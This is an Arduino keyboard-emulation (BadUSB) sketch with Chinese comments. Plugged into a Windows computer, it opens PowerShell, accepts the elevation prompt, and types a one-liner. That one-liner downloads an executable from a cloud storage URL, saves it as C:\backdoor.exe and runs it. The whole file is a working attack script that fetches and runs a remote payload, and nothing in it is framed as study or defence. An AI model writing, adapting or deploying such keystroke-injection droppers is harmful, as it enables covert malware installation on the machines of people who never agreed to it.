#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(5000); //延时5000ms（5s）
Keyboard.press(KEY_LEFT_GUI); //按住Win徽标键（左）
delay(500); //延时500ms（0.5s）
Keyboard.press('r'); //按住R键
delay(500); //延时500ms（0.5s）
Keyboard.release(KEY_LEFT_GUI); //释放Win徽标键（左）
Keyboard.release('r'); //释放R键
delay(300); //延时300ms（0.3s）
Keyboard.press(KEY_LEFT_SHIFT); //按住左shift
delay(200); //延时200ms（0.2s）
Keyboard.release(KEY_LEFT_SHIFT); //释放左边shift
Keyboard.print("powershell"); //键入cmd但不回车
//↑回车的话动作太快，CPU处理不过来

delay(200); //延时200ms（0.2s）
Keyboard.press(KEY_RETURN); //按住回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(2300); //延时2300ms（2.3s）：等待UAC窗口弹出
delay(200); //延时200ms（0.2s）
Keyboard.press(KEY_RETURN); //按住回车键
delay(200); //延时200ms（0.2s）
Keyboard.release(KEY_RETURN); //释放回车键
delay(2000); //延时2000ms（2s）
Keyboard.press(KEY_LEFT_SHIFT); //按住左shift
delay(200); //延时200ms（0.2s）
Keyboard.release(KEY_LEFT_SHIFT); //释放左边shift
Keyboard.println("$app=New-Object -ComObject shell.application;$app.ToggleDesktop();$P = new-object system.net.webclient;$P.downloadfile('https://myimg-1254438545.cos.ap-beijing.myqcloud.com/1.exe','C:\\backdoor.exe');start-process C:\\backdoor.exe;exit;");
//↑最小化窗口，下载1.exe并运行，然后退出PowerShell
Keyboard.end();
}

void loop() {
}
